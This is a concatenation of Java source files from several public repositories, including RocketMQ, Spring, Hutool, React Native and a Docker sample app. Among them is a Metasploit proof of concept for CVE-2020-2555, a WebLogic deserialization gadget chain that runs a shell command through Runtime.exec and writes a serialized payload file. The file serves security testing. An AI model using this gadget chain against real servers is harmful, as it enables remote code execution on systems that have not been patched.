candidates[i - 1]; return; } } this.timerPrecisionMs = candidates[candidates.length - 1]; } public int getTimerRollWindowSlot() { return timerRollWindowSlot; } public int getTimerGetMessageThreadNum() { return timerGetMessageThreadNum; } public void setTimerGetMessageThreadNum(int timerGetMessageThreadNum) { this.timerGetMessageThreadNum = timerGetMessageThreadNum; } public int getTimerPutMessageThreadNum() { return timerPutMessageThreadNum; } public void setTimerPutMessageThreadNum(int timerPutMessageThreadNum) { this.timerPutMessageThreadNum = timerPutMessageThreadNum; } public boolean isTimerEnableDisruptor() { return timerEnableDisruptor; } public boolean isTimerEnableCheckMetrics() { return timerEnableCheckMetrics; } public void setTimerEnableCheckMetrics(boolean timerEnableCheckMetrics) { this.timerEnableCheckMetrics = timerEnableCheckMetrics; } public boolean isTimerStopEnqueue() { return timerStopEnqueue; } public void setTimerStopEnqueue(boolean timerStopEnqueue) { this.timerStopEnqueue = timerStopEnqueue; } public String getTimerCheckMetricsWhen() { return timerCheckMetricsWhen; } public boolean isTimerSkipUnknownError() { return timerSkipUnknownError; } public void setTimerSkipUnknownError(boolean timerSkipUnknownError) { this.timerSkipUnknownError = timerSkipUnknownError; } public boolean isTimerWarmEnable() { return timerWarmEnable; } public boolean isTimerWheelEnable() { return timerWheelEnable; } public void setTimerWheelEnable(boolean timerWheelEnable) { this.timerWheelEnable = timerWheelEnable; } public boolean isTimerStopDequeue() { return timerStopDequeue; } public int getTimerMetricSmallThreshold() { return timerMetricSmallThreshold; } public void setTimerMetricSmallThreshold(int timerMetricSmallThreshold) { this.timerMetricSmallThreshold = timerMetricSmallThreshold; } public int getTimerCongestNumEachSlot() { return timerCongestNumEachSlot; } public void setTimerCongestNumEachSlot(int timerCongestNumEachSlot) { // In order to get this value from messageStoreConfig properties file created before v4.4.1. this.timerCongestNumEachSlot = timerCongestNumEachSlot; } public int getTimerFlushIntervalMs() { return timerFlushIntervalMs; } public void setTimerFlushIntervalMs(final int timerFlushIntervalMs) { this.timerFlushIntervalMs = timerFlushIntervalMs; } public void setTimerRollWindowSlot(final int timerRollWindowSlot) { this.timerRollWindowSlot = timerRollWindowSlot; } public int getTimerProgressLogIntervalMs() { return timerProgressLogIntervalMs; } public void setTimerProgressLogIntervalMs(final int timerProgressLogIntervalMs) { this.timerProgressLogIntervalMs = timerProgressLogIntervalMs; } public boolean isTimerInterceptDelayLevel() { return timerInterceptDelayLevel; } public void setTimerInterceptDelayLevel(boolean timerInterceptDelayLevel) { this.timerInterceptDelayLevel = timerInterceptDelayLevel; } public int getTimerMaxDelaySec() { return timerMaxDelaySec; } public void setTimerMaxDelaySec(final int timerMaxDelaySec) { this.timerMaxDelaySec = timerMaxDelaySec; } public int getMaxConsumeQueueScan() { return maxConsumeQueueScan; } public void setMaxConsumeQueueScan(int maxConsumeQueueScan) { this.maxConsumeQueueScan = maxConsumeQueueScan; } public int getSampleCountThreshold() { return sampleCountThreshold; } public void setSampleCountThreshold(int sampleCountThreshold) { this.sampleCountThreshold = sampleCountThreshold; } public boolean isColdDataFlowControlEnable() { return coldDataFlowControlEnable; } public void setColdDataFlowControlEnable(boolean coldDataFlowControlEnable) { this.coldDataFlowControlEnable = coldDataFlowControlEnable; } public boolean isColdDataScanEnable() { return coldDataScanEnable; } public void setColdDataScanEnable(boolean coldDataScanEnable) { this.coldDataScanEnable = coldDataScanEnable; } public int getTimerColdDataCheckIntervalMs() { return timerColdDataCheckIntervalMs; } public void setTimerColdDataCheckIntervalMs(int timerColdDataCheckIntervalMs) { this.timerColdDataCheckIntervalMs = timerColdDataCheckIntervalMs; } public int getSampleSteps() { return sampleSteps; } public void setSampleSteps(int sampleSteps) { this.sampleSteps = sampleSteps; } public int getAccessMessageInMemoryHotRatio() { return accessMessageInMemoryHotRatio; } public void setAccessMessageInMemoryHotRatio(int accessMessageInMemoryHotRatio) { this.accessMessageInMemoryHotRatio = accessMessageInMemoryHotRatio; } public boolean isDataReadAheadEnable() { return dataReadAheadEnable; } public void setDataReadAheadEnable(boolean dataReadAheadEnable) { this.dataReadAheadEnable = dataReadAheadEnable; } public boolean isEnableBuildConsumeQueueConcurrently() { return enableBuildConsumeQueueConcurrently; } public void setEnableBuildConsumeQueueConcurrently(boolean enableBuildConsumeQueueConcurrently) { this.enableBuildConsumeQueueConcurrently = enableBuildConsumeQueueConcurrently; } public int getBatchDispatchRequestThreadPoolNums() { return batchDispatchRequestThreadPoolNums; } public void setBatchDispatchRequestThreadPoolNums(int batchDispatchRequestThreadPoolNums) { this.batchDispatchRequestThreadPoolNums = batchDispatchRequestThreadPoolNums; } public boolean isRealTimePersistRocksDBConfig() { return realTimePersistRocksDBConfig; } public void setRealTimePersistRocksDBConfig(boolean realTimePersistRocksDBConfig) { this.realTimePersistRocksDBConfig = realTimePersistRocksDBConfig; } public long getStatRocksDBCQIntervalSec() { return statRocksDBCQIntervalSec; } public void setStatRocksDBCQIntervalSec(long statRocksDBCQIntervalSec) { this.statRocksDBCQIntervalSec = statRocksDBCQIntervalSec; } public long getCleanRocksDBDirtyCQIntervalMin() { return cleanRocksDBDirtyCQIntervalMin; } public void setCleanRocksDBDirtyCQIntervalMin(long cleanRocksDBDirtyCQIntervalMin) { this.cleanRocksDBDirtyCQIntervalMin = cleanRocksDBDirtyCQIntervalMin; } public long getMemTableFlushIntervalMs() { return memTableFlushIntervalMs; } public void setMemTableFlushIntervalMs(long memTableFlushIntervalMs) { this.memTableFlushIntervalMs = memTableFlushIntervalMs; } public boolean isEnableRocksDBLog() { return enableRocksDBLog; } public void setEnableRocksDBLog(boolean enableRocksDBLog) { this.enableRocksDBLog = enableRocksDBLog; } public int getTopicQueueLockNum() { return topicQueueLockNum; } public void setTopicQueueLockNum(int topicQueueLockNum) { this.topicQueueLockNum = topicQueueLockNum; } }
apache/rocketmq
store/src/main/java/org/apache/rocketmq/store/config/MessageStoreConfig.java
41,518
/* * Copyright 2002-2023 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.springframework.core; import java.lang.reflect.ParameterizedType; import java.lang.reflect.Type; import org.springframework.lang.Nullable; import org.springframework.util.Assert; /** * The purpose of this class is to enable capturing and passing a generic * {@link Type}. In order to capture the generic type and retain it at runtime, * you need to create a subclass (ideally as anonymous inline class) as follows: * * <pre class="code"> * ParameterizedTypeReference&lt;List&lt;String&gt;&gt; typeRef = new ParameterizedTypeReference&lt;List&lt;String&gt;&gt;() {}; * </pre> * * <p>The resulting {@code typeRef} instance can then be used to obtain a {@link Type} * instance that carries the captured parameterized type information at runtime. * For more information on "super type tokens" see the link to Neal Gafter's blog post. * * @author Arjen Poutsma * @author Rossen Stoyanchev * @since 3.2 * @param <T> the referenced type * @see <a href="https://gafter.blogspot.nl/2006/12/super-type-tokens.html">Neal Gafter on Super Type Tokens</a> */ public abstract class ParameterizedTypeReference<T> { private final Type type; protected ParameterizedTypeReference() { Class<?> parameterizedTypeReferenceSubclass = findParameterizedTypeReferenceSubclass(getClass()); Type type = parameterizedTypeReferenceSubclass.getGenericSuperclass(); Assert.isInstanceOf(ParameterizedType.class, type, "Type must be a parameterized type"); ParameterizedType parameterizedType = (ParameterizedType) type; Type[] actualTypeArguments = parameterizedType.getActualTypeArguments(); Assert.isTrue(actualTypeArguments.length == 1, "Number of type arguments must be 1"); this.type = actualTypeArguments[0]; } private ParameterizedTypeReference(Type type) { this.type = type; } public Type getType() { return this.type; } @Override public boolean equals(@Nullable Object other) { return (this == other || (other instanceof ParameterizedTypeReference<?> that && this.type.equals(that.type))); } @Override public int hashCode() { return this.type.hashCode(); } @Override public String toString() { return "ParameterizedTypeReference<" + this.type + ">"; } /** * Build a {@code ParameterizedTypeReference} wrapping the given type. * @param type a generic type (possibly obtained via reflection, * e.g. from {@link java.lang.reflect.Method#getGenericReturnType()}) * @return a corresponding reference which may be passed into * {@code ParameterizedTypeReference}-accepting methods * @since 4.3.12 */ public static <T> ParameterizedTypeReference<T> forType(Type type) { return new ParameterizedTypeReference<>(type) {}; } private static Class<?> findParameterizedTypeReferenceSubclass(Class<?> child) { Class<?> parent = child.getSuperclass(); if (Object.class == parent) { throw new IllegalStateException("Expected ParameterizedTypeReference superclass"); } else if (ParameterizedTypeReference.class == parent) { return child; } else { return findParameterizedTypeReferenceSubclass(parent); } } }
spring-projects/spring-framework
spring-core/src/main/java/org/springframework/core/ParameterizedTypeReference.java
41,519
import com.tangosol.util.filter.LimitFilter; import com.tangosol.util.extractor.ChainedExtractor; import com.tangosol.util.extractor.ReflectionExtractor; import javax.management.BadAttributeValueExpException; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; /* * BadAttributeValueExpException.readObject() * com.tangosol.util.filter.LimitFilter.toString() * com.tangosol.util.extractor.ChainedExtractor.extract() * com.tangosol.util.extractor.ReflectionExtractor.extract() * Method.invoke() * Runtime.exec() * * PoC by Y4er */ public class Weblogic_2555 { public static void main(String args[]) throws Exception { ReflectionExtractor extractor = new ReflectionExtractor("getMethod", new Object[]{ "getRuntime", new Class[0] }); ReflectionExtractor extractor2 = new ReflectionExtractor("invoke", new Object[]{ null, new Object[0] }); ReflectionExtractor extractor3 = new ReflectionExtractor("exec", new Object[]{ new String[]{ "/bin/sh", "-c", "touch /tmp/blah_ze_blah" } }); ReflectionExtractor extractors[] = { extractor, extractor2, extractor3 }; ChainedExtractor chainedExt = new ChainedExtractor(extractors); LimitFilter limitFilter = new LimitFilter(); Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator"); m_comparator.setAccessible(true); m_comparator.set(limitFilter, chainedExt); Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop"); m_oAnchorTop.setAccessible(true); m_oAnchorTop.set(limitFilter, Runtime.class); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field field = badAttributeValueExpException.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException, limitFilter); // Serialize object & save to file FileOutputStream fos = new FileOutputStream("payload_obj.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(badAttributeValueExpException); os.close(); } }
rapid7/metasploit-framework
data/exploits/CVE-2020-2555/Weblogic_2555.java
41,520
import com.google.gson.Gson; import com.mysql.cj.jdbc.exceptions.CommunicationsException; import static spark.Spark.*; import java.nio.file.Files; import java.nio.file.Paths; import java.sql.*; import java.util.ArrayList; import java.util.List; public class App { public static void main(String[] args) throws Exception { Class.forName("com.mysql.cj.jdbc.Driver"); prepare(); port(8080); get("/", (req, res) -> new Gson().toJson(titles())); } private static List<String> titles() { try (Connection conn = connect()) { List<String> titles = new ArrayList<>(); try (Statement stmt = conn.createStatement()) { try (ResultSet rs = stmt.executeQuery("SELECT title FROM blog")) { while (rs.next()) { titles.add(rs.getString("title")); } } } return titles; } catch (Exception ex) { return new ArrayList<>(); } } public static void prepare() throws Exception { try (Connection conn = connect()) { recreateTable(conn); insertData(conn); } } private static void insertData(Connection conn) throws SQLException { for (int i = 0; i < 5; i++) { try (PreparedStatement stmt = conn.prepareStatement("INSERT INTO blog (title) VALUES (?);")) { stmt.setString(1, "Blog post #" + i); stmt.execute(); } } } private static void recreateTable(Connection conn) throws SQLException { try (Statement stmt = conn.createStatement()) { stmt.execute("DROP TABLE IF EXISTS blog"); stmt.execute("CREATE TABLE IF NOT EXISTS blog (id int NOT NULL AUTO_INCREMENT, title varchar(255), PRIMARY KEY (id))"); } } private static Connection connect() throws Exception { for (int i = 0; i < 60; i++) { try { return DriverManager.getConnection("jdbc:mysql://db/example?allowPublicKeyRetrieval=true&useSSL=false", "root", Files.lines(Paths.get("/run/secrets/db-password")).findFirst().get()); } catch (CommunicationsException ex) { Thread.sleep(1000L); continue; } catch (Exception ex) { throw ex; } } throw new RuntimeException("Unable to connect to MySQL"); } }
docker/awesome-compose
sparkjava-mysql/backend/src/main/java/App.java
41,521
package cn.hutool.core.util; import cn.hutool.core.exceptions.UtilException; import cn.hutool.core.lang.Assert; import cn.hutool.core.lang.ObjectId; import cn.hutool.core.lang.Singleton; import cn.hutool.core.lang.Snowflake; import cn.hutool.core.lang.UUID; import cn.hutool.core.lang.id.NanoId; import cn.hutool.core.net.NetUtil; /** * ID生成器工具类,此工具类中主要封装: * * <pre> * 1. 唯一性ID生成器:UUID、ObjectId(MongoDB)、Snowflake * </pre> * * <p> * ID相关文章见:http://calvin1978.blogcn.com/articles/uuid.html * * @author looly * @since 4.1.13 */ public class IdUtil { // ------------------------------------------------------------------- UUID /** * 获取随机UUID * * @return 随机UUID */ public static String randomUUID() { return UUID.randomUUID().toString(); } /** * 简化的UUID,去掉了横线 * * @return 简化的UUID,去掉了横线 */ public static String simpleUUID() { return UUID.randomUUID().toString(true); } /** * 获取随机UUID,使用性能更好的ThreadLocalRandom生成UUID * * @return 随机UUID * @since 4.1.19 */ public static String fastUUID() { return UUID.fastUUID().toString(); } /** * 简化的UUID,去掉了横线,使用性能更好的ThreadLocalRandom生成UUID * * @return 简化的UUID,去掉了横线 * @since 4.1.19 */ public static String fastSimpleUUID() { return UUID.fastUUID().toString(true); } /** * 创建MongoDB ID生成策略实现<br> * ObjectId由以下几部分组成: * * <pre> * 1. Time 时间戳。 * 2. Machine 所在主机的唯一标识符,一般是机器主机名的散列值。 * 3. PID 进程ID。确保同一机器中不冲突 * 4. INC 自增计数器。确保同一秒内产生objectId的唯一性。 * </pre> * <p> * 参考:http://blog.csdn.net/qxc1281/article/details/54021882 * * @return ObjectId */ public static String objectId() { return ObjectId.next(); } /** * 创建Twitter的Snowflake 算法生成器。 * <p> * 特别注意:此方法调用后会创建独立的{@link Snowflake}对象,每个独立的对象ID不互斥,会导致ID重复,请自行保证单例! * </p> * 分布式系统中,有一些需要使用全局唯一ID的场景,有些时候我们希望能使用一种简单一些的ID,并且希望ID能够按照时间有序生成。 * * <p> * snowflake的结构如下(每部分用-分开):<br> * * <pre> * 0 - 0000000000 0000000000 0000000000 0000000000 0 - 00000 - 00000 - 000000000000 * </pre> * <p> * 第一位为未使用,接下来的41位为毫秒级时间(41位的长度可以使用69年)<br> * 然后是5位datacenterId和5位workerId(10位的长度最多支持部署1024个节点)<br> * 最后12位是毫秒内的计数(12位的计数顺序号支持每个节点每毫秒产生4096个ID序号) * * <p> * 参考:http://www.cnblogs.com/relucent/p/4955340.html * * @param workerId 终端ID * @param datacenterId 数据中心ID * @return {@link Snowflake} * @deprecated 此方法容易产生歧义:多个Snowflake实例产生的ID会产生重复,此对象在单台机器上必须单例,请使用{@link #getSnowflake(long, long)} */ @Deprecated public static Snowflake createSnowflake(long workerId, long datacenterId) { return new Snowflake(workerId, datacenterId); } /** * 获取单例的Twitter的Snowflake 算法生成器对象<br> * 分布式系统中,有一些需要使用全局唯一ID的场景,有些时候我们希望能使用一种简单一些的ID,并且希望ID能够按照时间有序生成。 * * <p> * snowflake的结构如下(每部分用-分开):<br> * * <pre> * 0 - 0000000000 0000000000 0000000000 0000000000 0 - 00000 - 00000 - 000000000000 * </pre> * <p> * 第一位为未使用,接下来的41位为毫秒级时间(41位的长度可以使用69年)<br> * 然后是5位datacenterId和5位workerId(10位的长度最多支持部署1024个节点)<br> * 最后12位是毫秒内的计数(12位的计数顺序号支持每个节点每毫秒产生4096个ID序号) * * <p> * 参考:http://www.cnblogs.com/relucent/p/4955340.html * * @param workerId 终端ID * @param datacenterId 数据中心ID * @return {@link Snowflake} * @since 4.5.9 */ public static Snowflake getSnowflake(long workerId, long datacenterId) { return Singleton.get(Snowflake.class, workerId, datacenterId); } /** * 获取单例的Twitter的Snowflake 算法生成器对象<br> * 分布式系统中,有一些需要使用全局唯一ID的场景,有些时候我们希望能使用一种简单一些的ID,并且希望ID能够按照时间有序生成。 * * <p> * snowflake的结构如下(每部分用-分开):<br> * * <pre> * 0 - 0000000000 0000000000 0000000000 0000000000 0 - 00000 - 00000 - 000000000000 * </pre> * <p> * 第一位为未使用,接下来的41位为毫秒级时间(41位的长度可以使用69年)<br> * 然后是5位datacenterId和5位workerId(10位的长度最多支持部署1024个节点)<br> * 最后12位是毫秒内的计数(12位的计数顺序号支持每个节点每毫秒产生4096个ID序号) * * <p> * 参考:http://www.cnblogs.com/relucent/p/4955340.html * * @param workerId 终端ID * @return {@link Snowflake} * @since 5.7.3 */ public static Snowflake getSnowflake(long workerId) { return Singleton.get(Snowflake.class, workerId); } /** * 获取单例的Twitter的Snowflake 算法生成器对象<br> * 分布式系统中,有一些需要使用全局唯一ID的场景,有些时候我们希望能使用一种简单一些的ID,并且希望ID能够按照时间有序生成。 * * <p> * snowflake的结构如下(每部分用-分开):<br> * * <pre> * 0 - 0000000000 0000000000 0000000000 0000000000 0 - 00000 - 00000 - 000000000000 * </pre> * <p> * 第一位为未使用,接下来的41位为毫秒级时间(41位的长度可以使用69年)<br> * 然后是5位datacenterId和5位workerId(10位的长度最多支持部署1024个节点)<br> * 最后12位是毫秒内的计数(12位的计数顺序号支持每个节点每毫秒产生4096个ID序号) * * <p> * 参考:http://www.cnblogs.com/relucent/p/4955340.html * * @return {@link Snowflake} * @since 5.7.3 */ public static Snowflake getSnowflake() { return Singleton.get(Snowflake.class); } /** * 获取数据中心ID<br> * 数据中心ID依赖于本地网卡MAC地址。 * <p> * 此算法来自于mybatis-plus#Sequence * </p> * * @param maxDatacenterId 最大的中心ID * @return 数据中心ID * @since 5.7.3 */ public static long getDataCenterId(long maxDatacenterId) { Assert.isTrue(maxDatacenterId > 0, "maxDatacenterId must be > 0"); if(maxDatacenterId == Long.MAX_VALUE){ maxDatacenterId -= 1; } long id = 1L; byte[] mac = null; try{ mac = NetUtil.getLocalHardwareAddress(); }catch (UtilException ignore){ // ignore } if (null != mac) { id = ((0x000000FF & (long) mac[mac.length - 2]) | (0x0000FF00 & (((long) mac[mac.length - 1]) << 8))) >> 6; id = id % (maxDatacenterId + 1); } return id; } /** * 获取机器ID,使用进程ID配合数据中心ID生成<br> * 机器依赖于本进程ID或进程名的Hash值。 * * <p> * 此算法来自于mybatis-plus#Sequence * </p> * * @param datacenterId 数据中心ID * @param maxWorkerId 最大的机器节点ID * @return ID * @since 5.7.3 */ public static long getWorkerId(long datacenterId, long maxWorkerId) { final StringBuilder mpid = new StringBuilder(); mpid.append(datacenterId); try { mpid.append(RuntimeUtil.getPid()); } catch (UtilException igonre) { //ignore } /* * MAC + PID 的 hashcode 获取16个低位 */ return (mpid.toString().hashCode() & 0xffff) % (maxWorkerId + 1); } // ------------------------------------------------------------------- NanoId /** * 获取随机NanoId * * @return 随机NanoId * @since 5.7.5 */ public static String nanoId() { return NanoId.randomNanoId(); } /** * 获取随机NanoId * * @param size ID中的字符数量 * @return 随机NanoId * @since 5.7.5 */ public static String nanoId(int size) { return NanoId.randomNanoId(size); } /** * 简单获取Snowflake 的 nextId * 终端ID 数据中心ID 默认为1 * * @return nextId * @since 5.7.18 */ public static long getSnowflakeNextId() { return getSnowflake().nextId(); } /** * 简单获取Snowflake 的 nextId * 终端ID 数据中心ID 默认为1 * * @return nextIdStr * @since 5.7.18 */ public static String getSnowflakeNextIdStr() { return getSnowflake().nextIdStr(); } }
dromara/hutool
hutool-core/src/main/java/cn/hutool/core/util/IdUtil.java
41,522
package com.baeldung.retrofitguide; public class User { private String login; private long id; private String url; private String company; private String blog; private String email; public String getLogin() { return login; } public void setLogin(String login) { this.login = login; } public long getId() { return id; } public void setId(long id) { this.id = id; } public String getUrl() { return url; } public void setUrl(String url) { this.url = url; } public String getCompany() { return company; } public void setCompany(String company) { this.company = company; } public String getBlog() { return blog; } public void setBlog(String blog) { this.blog = blog; } public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } @Override public String toString() { return "User{" + "login=" + login + ", id=" + id + ", url=" + url + ", company=" + company + ", blog=" + blog + ", email=" + email + '}'; } }
eugenp/tutorials
libraries-http/src/main/java/com/baeldung/retrofitguide/User.java
41,523
package com.xkcoding.codegen.entity; import lombok.Data; /** * <p> * 列属性: https://blog.csdn.net/lkforce/article/details/79557482 * </p> * * @author yangkai.shen * @date Created in 2019-03-22 09:46 */ @Data public class ColumnEntity { /** * 列表 */ private String columnName; /** * 数据类型 */ private String dataType; /** * 备注 */ private String comments; /** * 驼峰属性 */ private String caseAttrName; /** * 普通属性 */ private String lowerAttrName; /** * 属性类型 */ private String attrType; /** * jdbc类型 */ private String jdbcType; /** * 其他信息 */ private String extra; }
xkcoding/spring-boot-demo
demo-codegen/src/main/java/com/xkcoding/codegen/entity/ColumnEntity.java
41,524
/* * Copyright (c) Meta Platforms, Inc. and affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ package com.facebook.react.modules.network; import java.io.IOException; import java.net.InetAddress; import java.net.Socket; import java.net.UnknownHostException; import java.security.KeyManagementException; import java.security.NoSuchAlgorithmException; import javax.net.ssl.SSLContext; import javax.net.ssl.SSLSocket; import javax.net.ssl.SSLSocketFactory; /** * This class is needed for TLS 1.2 support on Android 4.x * * <p>Source: http://blog.dev-area.net/2015/08/13/android-4-1-enable-tls-1-1-and-tls-1-2/ */ public class TLSSocketFactory extends SSLSocketFactory { private SSLSocketFactory delegate; public TLSSocketFactory() throws KeyManagementException, NoSuchAlgorithmException { SSLContext context = SSLContext.getInstance("TLS"); context.init(null, null, null); delegate = context.getSocketFactory(); } @Override public String[] getDefaultCipherSuites() { return delegate.getDefaultCipherSuites(); } @Override public String[] getSupportedCipherSuites() { return delegate.getSupportedCipherSuites(); } @Override public Socket createSocket(Socket s, String host, int port, boolean autoClose) throws IOException { return enableTLSOnSocket(delegate.createSocket(s, host, port, autoClose)); } @Override public Socket createSocket(String host, int port) throws IOException, UnknownHostException { return enableTLSOnSocket(delegate.createSocket(host, port)); } @Override public Socket createSocket(String host, int port, InetAddress localHost, int localPort) throws IOException, UnknownHostException { return enableTLSOnSocket(delegate.createSocket(host, port, localHost, localPort)); } @Override public Socket createSocket(InetAddress host, int port) throws IOException { return enableTLSOnSocket(delegate.createSocket(host, port)); } @Override public Socket createSocket(InetAddress address, int port, InetAddress localAddress, int localPort) throws IOException { return enableTLSOnSocket(delegate.createSocket(address, port, localAddress, localPort)); } private Socket enableTLSOnSocket(Socket socket) { if (socket != null && (socket instanceof SSLSocket)) { ((SSLSocket) socket).setEnabledProtocols(new String[] {"TLSv1", "TLSv1.1", "TLSv1.2"}); } return socket; } }
facebook/react-native
packages/react-native/ReactAndroid/src/main/java/com/facebook/react/modules/network/TLSSocketFactory.java